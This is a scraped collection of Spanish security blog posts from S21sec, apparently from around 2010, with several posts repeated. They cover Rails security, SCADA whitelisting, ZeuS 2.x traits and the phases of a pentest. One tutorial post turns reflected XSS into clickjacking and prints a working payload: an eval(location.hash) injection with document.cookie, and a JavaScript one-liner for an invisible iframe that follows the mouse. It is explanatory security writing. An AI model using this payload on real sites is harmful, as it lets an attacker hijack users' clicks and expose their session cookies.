Ruby on Rails (RoR o simplemente Rails) es un marco de desarrollo para aplicaciones Web de código abierto que está gozando de una gran popularidad en los últimos años. Rails sigue el paradigma de la arquitectura Modelo Vista Controlador (MVC) y se caracteriza por un elevado nivel de productividad en comparación a su curva de aprendizaje. Se basa en dos principios, "No te repitas", es decir, las definiciones deberían hacerse una sola vez y "Convención sobre configuración" , que se refiere al hecho de que el programador sólo necesita definir aquella configuración que no es convencional.
Desde su concepción a finales del año 2005, Rails ha ido evolucionando apoyado por un creciente número de desarrolladores hasta convertirse en un framework de programación Web sólido, escalable, bien documentado, preparado para el entorno empresarial y con una concienciación sobre la seguridad que ya apuntaba maneras desde sus orígenes.
Actualmente, aunque la última versión disponible de Rails es la 2.3.5 , el salto a la nueva generación (versión 3) tras la fusión con Merb -- otro framework de desarrollo Web sobre Ruby -- parece inminente, y dado el grado de avance del proyecto, está previsto que se produzca a lo largo de este año 2010.
Desde el punto de vista de la seguridad, la nueva generación de Rails ofrece interesantes posibilidades, como el uso de middleware a medida utilizando rack (http://guides.rails.info/rails_on_rack.html), además de incorporar de forma oficial soluciones que en las versiones anteriores de rails estaban implementadas en plugins.
Tanto si estamos desarrollando con Rails en la rama 2.3.x como si tenemos en mente acometer la migración o el desarrollo de una nueva aplicación empresarial basada en la versión 3 de Rails, existen una serie de consideraciones que deberemos tener en cuenta si queremos implementar un adecuado nivel de seguridad en nuestra aplicación Web.
Primeramente, veremos algunos de los errores típicos que se cometen durante el desarrollo y que tendrán implicaciones en mayor o menor medida en la seguridad de nuestra aplicación. Obvia decir que los ejemplos utilizados están muy simplificados para facilitar su comprensión.
En la segunda parte de este documento se ofrecen recomendaciones y consideraciones a tener en cuenta durante el desarrollo. Además se comentan algunas soluciones disponibles en forma de plugins que contribuirán a mejorar la seguridad de las aplicaciones desarrolladas con Rails.
Cuando el riesgo es cuestión de fechas..
Quedan apenas 15 días para que finalice el soporte extendido y la actualización de parches de seguridad de Microsoft Windows 2000. Existen numerosas implementaciones SCADA que funcionan con este sistema operativo para las que la alternativa es un upgrade a Windows 2003, pero es una actuación difícil de planificar que requiere un periodo de prueba y un coste adicional, ya que es probable que continúen descubriéndose nuevas vulnerabilidades, y que incluso algunas de las ya existentes queden sin resolver.
Otra opción es utilizar software/hardware de seguridad adicional para suplir las deficiencias que aparezcan por la ausencia de actualizaciones (como el uso de sistema confiables del que hablamos la semana pasada), pero esto también requiere un coste mínimo en equipamiento, pruebas y diseño de la solución. Existen elementos que pueden gestionarse de forma remota o dispositivos simples que han de colocarse físicamente junto a los equipos a proteger. Igualmente existe software que permite aumentar el nivel de protección de forma sencilla o complicadas soluciones multi-función.
Nosotros en el laboratorio hemos tenido oportunidad de probar varias de las soluciones disponibles con el fin de poder realizar recomendaciones a medida y conocer las diferentes opciones. También hemos dotado a nuestro producto, Bitacora, con medidas que permitan la gestión de riesgos e incidentes que puedan producirse por causas como esta, así como herramientas de protección y detección basadas en Horizon para Bitacora 5.
Como CERT, S21sec ya ha ha notificado a sus clientes con infraestructuras críticas funcionando con ese Sistema operativo para evitar situaciones de riesgo futuras, y como consideramos que esta información también puede afectar a otros usuarios, nos parece apropiado hacer hincapié en ello de nuevo en el blog.
S21sec Labs - I+D+i SCADA
¿Whitelisting en sistemas de control?
Desde que la seguridad empezó a tomarse en serio en los sistemas de control, una de las principales preocupaciones ha sido cómo combatir el malware y la ejecución de exploits en estos entornos. A nivel de oficina (los entornos TIC clásicos) lo más típicos suele ser mantener el sistema operativo y las aplicaciones parcheadas, disponer de un sistema antivirus actualizado con las últimas firmas, asegurarse de que los usuarios dispongan de los mínimos privilegios necesarios para realizar su trabajo, controlar mediante proxy la navegación web, y en algunos casos, limitar el uso de puertos USB o similares. Aunque la concienciación del personal es clave para lograr un uso responsable y seguro de los equipos finales, no conviene fiarse del eslabón más débil de la cadena.
Como ya hemos contado en alguna ocasión [1], los sistemas de control poseen ciertas características que los hacen diferentes de una red de oficina o servidores: limitación de ancho de banda, memoria y CPU en los equipos de campo; necesidad de garantizar una precisión en los datos del proceso monitorizado, tanto en el tiempo de respuesta como en calidad del valor de lectura de las variables a monitorizar; etc.
Ante este panorama, parece lógico que deberíamos disponer ya de otros sistemas alternativos a los antivirus. Siempre que estos sistemas se han puesto en entredicho, ha surgido como alternativa eficaz el uso de listas blancas de aplicaciones; eficaz sí, aunque no siempre eficiente. A grandes rasgos, el concepto de listas blancas de aplicaciones hace referencia a la habilidad de garantizar que solo se ejecuten aquellas aplicaciones que sean seguras y hayan sido aprobadas por la autoridad competente dentro de una compañía. Las listas blancas tienen muchas ventajas, y realmente pueden ser muy eficaces a la hora de controlar la propagación de malware y la ejecución de exploits. Así, permiten evitar ataques zero-day, evitan la infección de ejecutables, impiden la ejecución de troyanos, reduce la necesidad de aplicar parches de seguridad, etc. No obstante, pueden llegar a ser un quebradero de cabeza para el administrador de sistemas de la empresa. Las listas blancas de aplicaciones presuponen realizar un inventario exhaustivo de aplicaciones permitidas, muchas veces clasificadas por área o incluso por máquina y/o tipo de usuario que hace uso de la misma. Además, imponen en muchos casos barreras a la productividad y a la libertad de los usuarios, con el consecuente enfado de estos. A quién no le ha tocado bajarse una aplicación freeware para editar rápidamente una imagen para una presentación, o un “recuperador” de contraseñas para acceder a un documento Word protegido por un compañero que ya no está en la empresa. Se trata de aplicaciones que usas una vez, o que quizás no uses nunca. Esto dependerá de los imponderables de tu trabajo diario y de la forma que tengas de enfrentarte a ellos. Un sistema de listas blancas de aplicaciones puede ser eficaz desde el punto de vista de la seguridad, pero perjudicar la eficiencia del usuario final en su trabajo diario.
Y sin embargo, después de esta reflexión, pueden ser una buena solución para los sistemas de control y ahora os diré por qué.
Existen algunas ventajas evidentes para los sistemas de control en el uso de whitelisting de aplicaciones respecto a la instalación de sistemas AV. Básicamente son dos. Primero, se evitan los problemas de limitación en los recursos hardware de los servidores/remotas. Ya no es necesario analizar cada aplicación que se ejecuta en tiempo real en busca de firmas o patrones de software malicioso y se reduce por tanto el riesgo de que las aplicaciones de control no puedan funcionar correctamente. Segundo, se evitan el complicado y tedioso proceso de integración del AV con el sistema de control [5]: análisis del rendimiento base del sistema, valoración del impacto, y parametrización/adaptación del mismo.
Aparte de las ventajas anteriores existen otras que también merece la pena comentar. El whitelisting de aplicaciones permite reducir el número de parches necesarios, lo cual se traduce en un menor número de interrupciones del servicio, básico en estos sistemas que priman la disponibilidad. Conviene no olvidar que la instalación de cualquier parche en un sistema de control ha de ser programada y supervisada, lo cual supone un esfuerzo y una movilización de recursos, que en algunos casos puede ser importante. Una segunda derivada de la reducción en el número de parches a instalar, es que se puede extender la vida útil de las aplicaciones y sistemas operativos para los que el fabricante deja de ofrecer soporte. Esto resulta especialmente interesante en el caso de muchas instalaciones de control actuales, que utilizan sistemas operativos obsoletos (por ejemplo Windows 95), y versiones de aplicaciones SCADA antiguas. En muchos casos el whitelisting de aplicaciones cubre también archivos de configuración u otros archivos no necesariamente ejecutables. Así, es posible controlar que los programas de control y supervisión de las remotas o del propio SCADA no sufran modificaciones en su código, garantizándose así la integridad y autenticidad de los mismos.
Quizás, la principal razón por la que las listas blancas de aplicaciones sí que pueden llegar a triunfar en los sistemas de control, es que estos sistemas son realmente estáticos, al contrario de lo que ocurre con los equipos de usuarios en cualquier oficina. Las aplicaciones que van a utilizarse en la instalación son claras y fijas, sujetas a mínimas variaciones (alguna actualización de vez en cuando). Siempre tendremos un sistema SCADA, software HMI, un entorno fijo para el desarrollo de aplicaciones de control en las estaciones de ingeniería, drivers de comunicaciones específicos para nuestra instalación, un motor de base de datos concreto para el servidor histórico, etc.
Finalmente, y antes de terminar voy a realizar un breve resumen de las principales características y funcionalidades deseables en un sistema de listas blancas de aplicaciones:
Elyoenai Egozcue,
S21sec labs
[1] http://blog.s21sec.com/2008/08/particularidades-de-los-entornos-scada.html
[2] http://techbuddha.wordpress.com/2006/12/01/anti-virus-is-dead/
[3] http://news.cnet.com/8301-10784_3-9712875-7.html
[4] http://www.networkworld.com/news/2007/040507-desktop-antivirus-dead.html
[5] Guidance and Performance Impact Testing to Support the use of Antivirus Software on SCADA and Industrial Control Systems. ISA EXPO 2005, Chicago, IL, October 25-27, 2005
[6] http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1515123,00.html?track=sy160
Como ya hemos contado en alguna ocasión [1], los sistemas de control poseen ciertas características que los hacen diferentes de una red de oficina o servidores: limitación de ancho de banda, memoria y CPU en los equipos de campo; necesidad de garantizar una precisión en los datos del proceso monitorizado, tanto en el tiempo de respuesta como en calidad del valor de lectura de las variables a monitorizar; etc.
A la eterna discusión [2] [3] [4] sobre si los sistemas antivirus (AV) son realmente eficaces, conviene añadir las reservas que estos suscitan entre los responsables de los sistemas de control. Resulta crítico estudiar en detalle las consecuencias de integrar una solución antivirus comercial generalista en estos entornos. Conviene pensar en términos de configuración de: la acción por defecto cuando se detecta un fichero infectado, la cantidad de tiempo de CPU que se asigna al AV, la habilitación (o no) de análisis heurístico, listado de ficheros a excluir en los análisis, mejor momento para ejecutar los análisis o la actualización de firmas, habilitación (o no) del análisis en tiempo real. En el último caso, cuando una aplicación de control accede a datos del histórico, el tráfico generado se traduce en un escaneo intensivo, que consume recursos y reduce sustancialmente el rendimiento del sistema. En la siguiente imagen, extraída de un interesante estudio sobre el uso de AV en sistemas de control [5], podemos ver el impacto en un sistema HMI de una actualización en las definiciones de virus.
Por otro lado, parece que existen indicios suficientes como para pensar que potenciales atacantes se han infiltrado ya en muchas infraestructuras críticas (IC), así lo puso de manifiesto Jason Larson, un investigador del INL, hace poco más de una semana en la conferencia FIRST [6]. Por lo visto, se encuentran actualmente monitorizando y estudiando el proceso que se controla en las IC comprometidas, esperando a la mejor oportunidad para realizar un ataque, ya sea a través de exploits lanzados manualmente o a través de la propagación de malware.
Ante este panorama, parece lógico que deberíamos disponer ya de otros sistemas alternativos a los antivirus. Siempre que estos sistemas se han puesto en entredicho, ha surgido como alternativa eficaz el uso de listas blancas de aplicaciones; eficaz sí, aunque no siempre eficiente. A grandes rasgos, el concepto de listas blancas de aplicaciones hace referencia a la habilidad de garantizar que solo se ejecuten aquellas aplicaciones que sean seguras y hayan sido aprobadas por la autoridad competente dentro de una compañía. Las listas blancas tienen muchas ventajas, y realmente pueden ser muy eficaces a la hora de controlar la propagación de malware y la ejecución de exploits. Así, permiten evitar ataques zero-day, evitan la infección de ejecutables, impiden la ejecución de troyanos, reduce la necesidad de aplicar parches de seguridad, etc. No obstante, pueden llegar a ser un quebradero de cabeza para el administrador de sistemas de la empresa. Las listas blancas de aplicaciones presuponen realizar un inventario exhaustivo de aplicaciones permitidas, muchas veces clasificadas por área o incluso por máquina y/o tipo de usuario que hace uso de la misma. Además, imponen en muchos casos barreras a la productividad y a la libertad de los usuarios, con el consecuente enfado de estos. A quién no le ha tocado bajarse una aplicación freeware para editar rápidamente una imagen para una presentación, o un “recuperador” de contraseñas para acceder a un documento Word protegido por un compañero que ya no está en la empresa. Se trata de aplicaciones que usas una vez, o que quizás no uses nunca. Esto dependerá de los imponderables de tu trabajo diario y de la forma que tengas de enfrentarte a ellos. Un sistema de listas blancas de aplicaciones puede ser eficaz desde el punto de vista de la seguridad, pero perjudicar la eficiencia del usuario final en su trabajo diario.
Y sin embargo, después de esta reflexión, pueden ser una buena solución para los sistemas de control y ahora os diré por qué.
Existen algunas ventajas evidentes para los sistemas de control en el uso de whitelisting de aplicaciones respecto a la instalación de sistemas AV. Básicamente son dos. Primero, se evitan los problemas de limitación en los recursos hardware de los servidores/remotas. Ya no es necesario analizar cada aplicación que se ejecuta en tiempo real en busca de firmas o patrones de software malicioso y se reduce por tanto el riesgo de que las aplicaciones de control no puedan funcionar correctamente. Segundo, se evitan el complicado y tedioso proceso de integración del AV con el sistema de control [5]: análisis del rendimiento base del sistema, valoración del impacto, y parametrización/adaptación del mismo.
Aparte de las ventajas anteriores existen otras que también merece la pena comentar. El whitelisting de aplicaciones permite reducir el número de parches necesarios, lo cual se traduce en un menor número de interrupciones del servicio, básico en estos sistemas que priman la disponibilidad. Conviene no olvidar que la instalación de cualquier parche en un sistema de control ha de ser programada y supervisada, lo cual supone un esfuerzo y una movilización de recursos, que en algunos casos puede ser importante. Una segunda derivada de la reducción en el número de parches a instalar, es que se puede extender la vida útil de las aplicaciones y sistemas operativos para los que el fabricante deja de ofrecer soporte. Esto resulta especialmente interesante en el caso de muchas instalaciones de control actuales, que utilizan sistemas operativos obsoletos (por ejemplo Windows 95), y versiones de aplicaciones SCADA antiguas. En muchos casos el whitelisting de aplicaciones cubre también archivos de configuración u otros archivos no necesariamente ejecutables. Así, es posible controlar que los programas de control y supervisión de las remotas o del propio SCADA no sufran modificaciones en su código, garantizándose así la integridad y autenticidad de los mismos.
Quizás, la principal razón por la que las listas blancas de aplicaciones sí que pueden llegar a triunfar en los sistemas de control, es que estos sistemas son realmente estáticos, al contrario de lo que ocurre con los equipos de usuarios en cualquier oficina. Las aplicaciones que van a utilizarse en la instalación son claras y fijas, sujetas a mínimas variaciones (alguna actualización de vez en cuando). Siempre tendremos un sistema SCADA, software HMI, un entorno fijo para el desarrollo de aplicaciones de control en las estaciones de ingeniería, drivers de comunicaciones específicos para nuestra instalación, un motor de base de datos concreto para el servidor histórico, etc.
Finalmente, y antes de terminar voy a realizar un breve resumen de las principales características y funcionalidades deseables en un sistema de listas blancas de aplicaciones:
- Identificación de binarios: nombre, ruta, hash (SHA-1), tamaño, …
- Servicio de kernel que realiza comprobaciones antes de la carga en memoria del ejecutable.
- Interceptación de carga de dlls asociadas con el ejecutable.
- Creación automática de la lista blanca inicial: escaneo de unidades en busca de ejecutables.
- Diferenciación entre misma aplicación en distintas máquinas: hashes diferentes para notepad.exe en dos PCs distintos.
- Gestión centralizada de listas: creación y modificación de las listas desde una estación central.
- Administración de listas para grupos de equipos según área o propósito: lista blanca de aplicaciones para las estaciones de ingeniería.
- Listas blancas de proveedores de software para aplicaciones firmadas digitalmente por éstos: no bloqueo de la instalación de un nuevo motor de base de datos, cuyos instaladores están firmados digitalmente por un proveedor de confianza.
Elyoenai Egozcue,
S21sec labs
Bibliografía:
[1] http://blog.s21sec.com/2008/08/particularidades-de-los-entornos-scada.html
[2] http://techbuddha.wordpress.com/2006/12/01/anti-virus-is-dead/
[3] http://news.cnet.com/8301-10784_3-9712875-7.html
[4] http://www.networkworld.com/news/2007/040507-desktop-antivirus-dead.html
[5] Guidance and Performance Impact Testing to Support the use of Antivirus Software on SCADA and Industrial Control Systems. ISA EXPO 2005, Chicago, IL, October 25-27, 2005
[6] http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1515123,00.html?track=sy160
Algunas novedades del ZeuS v2.x
En el post de hoy vamos a contar algún detalle más en el funcionamiento de las nuevas versiones 2.x de ZeuS.
Como ya se ha comentado en numerosas ocasiones, la nueva versión trae varias características diferentes:
- Utiliza nombres de ficheros pseudoaleatorios, frente a los nombres fijos de las versiones 1.x
- No se utiliza la misma carpeta que antes, ahora se "esconde" en nombre_usuario\datos de programa\
- No se oculta el fichero
- Almacena la configuración en el registro
- Permite varias infecciones en el mismo equipo
Durante el proceso de infección, ZeuS recopila cierta información de la máquina, y esta es cifrada y almacenada en el fichero que copia en \datos de programa\.
Entre estos datos se incluyen el nombre de la máquina, versión del sistema operativo, fecha de instalación del mismo, una tabla de permutaciones 00..FF generada de una manera pseudoaleatoria, el nombre y ruta del propio fichero y las claves de registro en la que almacenará información como el fichero de configuración cifrado.
¿Qué se consigue con estos datos?
- Un fichero resultante de una máquina X no infectará la máquina Y, con lo que analizarlo directamente mediante una sandbox no es viable.
- El fichero de configuración se almacena cifrado con la clave (tabla de permutaciones) anteriormente indicada, que ha sido generada de forma pseudoaleatoria, no siendo la misma la utilizada para descifrar el fichero de configuración descargado del servidor.
Si bien son dos "trucos", está claro que pueden llegar a complicar el análisis, y es una muestra más de la constante evolución de la familia ZeuS.
Mikel Gastesi
S21sec e-crime
Medidas de Protección
Un corte de luz en los sistemas siempre deriva en problemas, por eso se utilizan equipos de respaldo, como los SAIs, para poder seguir trabajando durante un tiempo extra. El tiempo extra que proporciona el SAI debe depender de la necesidad de funcionamiento del equipo o equipos a los que tiene que alimentar. No es lo mismo el PC de mi casa, que con 5 minutos es suficiente para guardar lo que estaba haciendo y apagarlo, que el sistema de alimentación del control del caudal de una empresa, sobre todo con las inundaciones de los últimos días por ejemplo.
Otra manera de prevenir los cortes de alimentación es utilizar líneas redundantes de alimentación, pero con diferente origen, es decir, que provenga la energía de una subestación diferente para cada línea, lo que protegerá ante la caída en una de las dos subestaciones. En una infraestructura crítica se juntan las dos opciones, lo más importante es que siga funcionando, por lo que habrá una redundancia en las líneas de alimentación y SAIs para cuando fallen todas las líneas.
Lo mismo que estamos comentando para las líneas de alimentación hay que tenerlo en cuenta para las comunicaciones, y mantener enlaces redundantes y equipos de respaldo para prevenir posibles problemas. También es importante que los equipos estén correctamente configurados. Un equipo con el STP mal configurado o sin configurar puede tirar una red completa al presentarse incongruencias y bucles.
De todas formas y como siempre, si no se comprueban las medidas de prevención con cierta periodicidad puede darse el caso que en el momento del fallo, alguna de las medidas tomadas no funcione. Por eso es importante probar los sistemas redundantes en situaciones controladas, porque de esta manera también se pueden saber los efectos que va a tener.
Con todo esto, los problemas de alimentación se pueden solucionar correctamente, aunque pueden aparecer problemas con la red. Internet puede no funcionar porque todos los equipos de red se hayan caído, además de los posibles problemas con el proveedor de internet.. Imaginaos todo un centro de control sin comunicación porque el equipamiento de red no funciona, la cantidad de información perdida, las señales enviadas sin respuesta, las acciones mandadas sin ejecución…
En conclusión, debemos de controlar todo lo que esté en nuestra mano. Nuestros equipos de red deben estar protegidos para dar respuesta a este tipo de problemas, por lo demás, recemos para que nuestro proveedor de internet también tenga protegidos los suyos…
Jairo Alonso
S21sec Labs
Otra manera de prevenir los cortes de alimentación es utilizar líneas redundantes de alimentación, pero con diferente origen, es decir, que provenga la energía de una subestación diferente para cada línea, lo que protegerá ante la caída en una de las dos subestaciones. En una infraestructura crítica se juntan las dos opciones, lo más importante es que siga funcionando, por lo que habrá una redundancia en las líneas de alimentación y SAIs para cuando fallen todas las líneas.
Lo mismo que estamos comentando para las líneas de alimentación hay que tenerlo en cuenta para las comunicaciones, y mantener enlaces redundantes y equipos de respaldo para prevenir posibles problemas. También es importante que los equipos estén correctamente configurados. Un equipo con el STP mal configurado o sin configurar puede tirar una red completa al presentarse incongruencias y bucles.
De todas formas y como siempre, si no se comprueban las medidas de prevención con cierta periodicidad puede darse el caso que en el momento del fallo, alguna de las medidas tomadas no funcione. Por eso es importante probar los sistemas redundantes en situaciones controladas, porque de esta manera también se pueden saber los efectos que va a tener.
Con todo esto, los problemas de alimentación se pueden solucionar correctamente, aunque pueden aparecer problemas con la red. Internet puede no funcionar porque todos los equipos de red se hayan caído, además de los posibles problemas con el proveedor de internet.. Imaginaos todo un centro de control sin comunicación porque el equipamiento de red no funciona, la cantidad de información perdida, las señales enviadas sin respuesta, las acciones mandadas sin ejecución…
En conclusión, debemos de controlar todo lo que esté en nuestra mano. Nuestros equipos de red deben estar protegidos para dar respuesta a este tipo de problemas, por lo demás, recemos para que nuestro proveedor de internet también tenga protegidos los suyos…
Jairo Alonso
S21sec Labs
Utilizando Cross-site Scripting para ataques de Clickjacking
Existen una gran cantidad de aplicaciones vulnerables a Cross-Site Scripting.
Esta vulnerabilidad casi siempre se ha asociado a la posibilidad de modificar la apariencia de la aplicación y a poco más. Así pues, hoy vamos a ver como utilizar está técnica para realizar un ataque algo más complejo. El objetivo es realizar un ataque de Clickjacking, ya que hasta ahora debíamos crear una página en un dominio de nuestro poder para poder explotar este tipo de vulnerabilidad... pero ya que mediante un XSS podemos inyectar código HTML y JavaScript en otra aplicación, ¿por que no inyectarle el código necesario para realizar un ClickJacking?
El ejemplo a utilizar, es el de un XSS reflejado mediante un parámetro de búsqueda (suele ser el más común):
De esta manera se inserta un iframe que va siguiendo al mouse, de forma que cuando se haga un click con él se estará realizando sobre la aplicación insertada en el iframe.
A continuación, se puede observar un video de como se realizan los tres tipos de Cross-site, acabando con el que se convierte en clickjacking hacia Facebook:
http://www.screentoaster.com/watch/stV0xUR0VLQl9ZSVVeW1lc/xss2cj
Referencias:
http://ha.ckers.org/blog/20100614/turning-xss-into-clickjacking/
http://blog.s21sec.com/2009/02/clickjacking-exposed.html
Esta vulnerabilidad casi siempre se ha asociado a la posibilidad de modificar la apariencia de la aplicación y a poco más. Así pues, hoy vamos a ver como utilizar está técnica para realizar un ataque algo más complejo. El objetivo es realizar un ataque de Clickjacking, ya que hasta ahora debíamos crear una página en un dominio de nuestro poder para poder explotar este tipo de vulnerabilidad... pero ya que mediante un XSS podemos inyectar código HTML y JavaScript en otra aplicación, ¿por que no inyectarle el código necesario para realizar un ClickJacking?
El ejemplo a utilizar, es el de un XSS reflejado mediante un parámetro de búsqueda (suele ser el más común):
.
Para empezar, vamos a ver una forma, de hacer que el servidor en el que se va a ejecutar el XSS no reciba las acciones que queremos realizar:
.
hxxp://www.sitio.com/search.php?text=algo"/><script>eval(location.hash.slice(1));</script>#alert(document.cookie)
Así pues, estamos haciendo que mediante "eval(location.hash.slice(1))" evalue y ejecute el código que se encuentra en el anchor (#), de esta manera, como al realizar la petición todo lo que queda a la derecha de # en la url, el navegador no lo envía al servidor.
El siguiente paso, es insertar en el # código referente a como realizar el clickjacking, a continuación se muestra una posible solución (válida tan solo para mozilla firefox):
Así pues, estamos haciendo que mediante "eval(location.hash.slice(1))" evalue y ejecute el código que se encuentra en el anchor (#), de esta manera, como al realizar la petición todo lo que queda a la derecha de # en la url, el navegador no lo envía al servidor.
El siguiente paso, es insertar en el # código referente a como realizar el clickjacking, a continuación se muestra una posible solución (válida tan solo para mozilla firefox):
#a=document.body.appendChild(document.createElement("iframe"));a.d=a.contentDocument;a.d.open().close();i=a.d.createElement("iframe");a.style.width=90;a.style.height=90;a.style.border=i.style.border=0;a.style.position=i.style.position="absolute";a.style.overflow=i.style.overflow="hidden";a.style.opacity=.7;i.style.width=100;i.style.height=100;i.style.left=-10;i.style.top=-10;i.src="hxxp://www.sitio.com/";a.d.body.appendChild(i);function followmouse(e){xcoord=ycoord=40;xcoord+=e.pageX-50;ycoord+=e.pageY-50;a.style.left=xcoord;a.style.top=ycoord;}document.onmousemove=followmouse;
De esta manera se inserta un iframe que va siguiendo al mouse, de forma que cuando se haga un click con él se estará realizando sobre la aplicación insertada en el iframe.
A continuación, se puede observar un video de como se realizan los tres tipos de Cross-site, acabando con el que se convierte en clickjacking hacia Facebook:
http://www.screentoaster.com/watch/stV0xUR0VLQl9ZSVVeW1lc/xss2cj
Referencias:
http://ha.ckers.org/blog/20100614/turning-xss-into-clickjacking/
http://blog.s21sec.com/2009/02/clickjacking-exposed.html
Abel Gómez
Dpto. Auditoria S21SEC
¡Que llega el Mundial!
Mañana empieza el mundial de futbol de Sudáfrica y con ello las inevitables consecuencias para la productividad de las empresas. Con los avances en el streaming de los últimos tiempos, este mundial será el de mayor seguimiento. El menor de los males será el número de horas perdidas porque el personal se dedique a ver los partidos en horario laboral. La mayor amenaza será la instalación de programas no autorizados y la apertura de canales no autorizados (que pueden quedar habilitados después del mundial o quedar trazas de como se habilitaron y poder ser rehabilitados por terceras personas).
En realidad esto es sólo un fenómeno puntual y concentrado de la práctica habitual de instalar software no necesario para el trabajo. Por mucho que se intente concienciar al personal, es un caso pérdido (yo ya lo sufrí el verano pasado con el europeo de basket, con un servidor que canalizaba peticiones externas y se quedó bloqueado porque el programa de streaming consumía todo el ancho de banda).
La principal preocupación de la organización del mundial es la seguridad y, por desgracia, ya se han producido los primeros incidentes graves: la avalancha al intentar acceder a un partido amistoso y los robos en los hoteles (incluso por el propio personal del hotel). Y no serán los últimos... Aunque Sudáfrica no sea un país objetivo de grupos terroristas, la gran repercusión del evento hace que un posible ataque sea una amenza real. Se apunta a los campos de entrenamiento de combatientes somalíes y pakistaníes de Mozambique (que limita al suroeste con Sudáfrica) como origen más probable. Aunque con el gran desconocimiento que tenemos de África, otros grupos rebeldes podrían intentar atacar (sirva como ejemplo el ataque a la selección de Togo en la pasada Copa África, cuando la gran mayoría oímos hablar por primera vez del conflicto de la región de Cabinda).
Lo que nos demuestra el mundial es que la política y los intereses económicos (porque la elección de Sudáfrica sólo se justifica bajo estos parámetros) no piensan en la seguridad realmente. No es un factor decisivo, sólo una cuestión de organización y gestión, a analizar a posteriori.
Trabajando en sistemas de control, la situación es parecida en muchos casos, pues en el diseño e implementación no se ha tenido en cuenta la seguridad y luego las medidas a implementar suelen ser costosas y en algunos casos poco eficaces. Afortunadamente parece que la tendencia está cambiando y los fundamentos de seguridad se están incorporando en los nuevos proyectos (aunque la ingente cantidad de instalaciones existentes tienen todavía un horizonte de vida largo y haya que lidiar con problemas estructurales).
Esperemos que un futuro se puedan celebrar grandes eventos en cualquier parte del mundo, sin tener que estar cruzando los dedos a ver si no pasa nada.
Suerte para todas las selecciones y feliz estancia a los turistas
Diego López
S21Sec Labs
En realidad esto es sólo un fenómeno puntual y concentrado de la práctica habitual de instalar software no necesario para el trabajo. Por mucho que se intente concienciar al personal, es un caso pérdido (yo ya lo sufrí el verano pasado con el europeo de basket, con un servidor que canalizaba peticiones externas y se quedó bloqueado porque el programa de streaming consumía todo el ancho de banda).
La principal preocupación de la organización del mundial es la seguridad y, por desgracia, ya se han producido los primeros incidentes graves: la avalancha al intentar acceder a un partido amistoso y los robos en los hoteles (incluso por el propio personal del hotel). Y no serán los últimos... Aunque Sudáfrica no sea un país objetivo de grupos terroristas, la gran repercusión del evento hace que un posible ataque sea una amenza real. Se apunta a los campos de entrenamiento de combatientes somalíes y pakistaníes de Mozambique (que limita al suroeste con Sudáfrica) como origen más probable. Aunque con el gran desconocimiento que tenemos de África, otros grupos rebeldes podrían intentar atacar (sirva como ejemplo el ataque a la selección de Togo en la pasada Copa África, cuando la gran mayoría oímos hablar por primera vez del conflicto de la región de Cabinda).
Lo que nos demuestra el mundial es que la política y los intereses económicos (porque la elección de Sudáfrica sólo se justifica bajo estos parámetros) no piensan en la seguridad realmente. No es un factor decisivo, sólo una cuestión de organización y gestión, a analizar a posteriori.
Trabajando en sistemas de control, la situación es parecida en muchos casos, pues en el diseño e implementación no se ha tenido en cuenta la seguridad y luego las medidas a implementar suelen ser costosas y en algunos casos poco eficaces. Afortunadamente parece que la tendencia está cambiando y los fundamentos de seguridad se están incorporando en los nuevos proyectos (aunque la ingente cantidad de instalaciones existentes tienen todavía un horizonte de vida largo y haya que lidiar con problemas estructurales).
Esperemos que un futuro se puedan celebrar grandes eventos en cualquier parte del mundo, sin tener que estar cruzando los dedos a ver si no pasa nada.
Suerte para todas las selecciones y feliz estancia a los turistas
Diego López
S21Sec Labs
Pentesting en el 2010
Parece mentira pero dentro de poco harán 10 años desde que empecé a trabajar para S21SEC. En estos años, aunque he realizado muchas otras tareas, mi labor principal ha sido la de Pentester.
Por si alguien aun no sabe a qué se dedica un Pentester, la Wikipedia nos da la siguiente definición de Pentest: Método de evaluar la seguridad de una red o sistema informático mediante la simulación de un ataque malicioso por parte de un Hacker blackhat o Cracker.
En resumen es evaluar la seguridad de un sistema con los mismos métodos que lo haría un atacante real.
El objetivo de un Pentest no es detectar todas las vulnerabilidades presentes en los sistemas, sino cumplir con un objetivo pactado con el cliente como puede ser: obtener acceso a la información confidencial, intentar sacar información hacia afuera sin ser detectados, tomar el control de servidores internos críticos, evitar ser detectados por los sistemas de protección, etc.
Generalmente el perfil de empresa que requiere estos servicios son empresas que tienen medidas de seguridad implementadas que quieren verificar su funcionamiento.
Recuerdo que en el año 2000 muchos aventuraban el final de este tipo de trabajos tal y como se conocían. Yo mismo pensaba igual. Pero aquí seguimos.
También es curioso el nivel de éxito (o fracaso) que se sigue logrando en estos trabajos. Ya no estamos en el 100% de objetivos de intrusión logrados como en los primeros años, pero aun se alcanzan porcentajes notablemente altos considerando el perfil de nuestros clientes habituales: Grandes empresas, con una inversión aceptable en seguridad y con medidas de seguridad actualizadas (Firewalls, IPS, Control de usuarios, Actualizaciones automáticas, etc.).
A pesar del avance de las tecnologías de seguridad, de la mayor concienciación de los administradores y usuarios, aun es necesaria la comprobación empírica de que las medidas de seguridad son suficientes (o insuficientes) para detener a un atacante.
Las técnicas de Pentesting han cambiado mucho en estos años, pero básicamente la metodología sigue siendo la misma. Cambian las tecnologías, mejoran las protecciones, pero siguen existiendo fallos que permiten vulnerar la seguridad de un sistema.
Además el proceso habitual para aprovechar estos fallos sigue teniendo un esquema “básico” similar:
En los 90 el proceso solía ser:
1) Exploración de números de teléfono en busca de módems o de redes X25 en busca de direcciones accesibles
2) Localización de una vulnerabilidad en el sistema de login
3) Aprovechamiento de esas credenciales para acceder al sistema
4) Configuración de una cuenta de usuario oculta como puerta trasera para poder volver a acceder al sistema
En el 2000 el proceso que repetíamos una y otra vez era:
1) Exploración de los servicios abiertos
2) Localización de una vulnerabilidad en estos servicios
3) Lanzamiento de un exploit que permitía ejecutar comandos en el sistema
4) Acceso al equipo mediante una shell bindeada a un puerto
5) Configuración de un servicio de red oculto como puerta trasera para poder volver a acceder al sistema
Y en el 2010 seguimos por el mismo camino pero con distintas tecnologías:
1) Exploración de aplicativos web
2) Localización de una vulnerabilidad web
3) Aprovechamiento de esta vulnerabilidad para ejecutar código en el sistema
4) Upload al servidor web de una pequeña aplicación oculta como puerta trasera para poder acceder al sistema
Estos procesos son solamente un “breve” ejemplo de las metodologías y pruebas que solemos realizar en un Pentest. Pero su evolución demuestra el rápido cambio que se ha producido en el mundo de la seguridad.
